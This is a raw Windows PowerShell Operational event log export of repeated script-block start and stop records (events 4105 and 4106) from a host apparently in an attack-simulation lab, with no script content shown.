SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034735
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034733
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034732
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034715
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034709
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
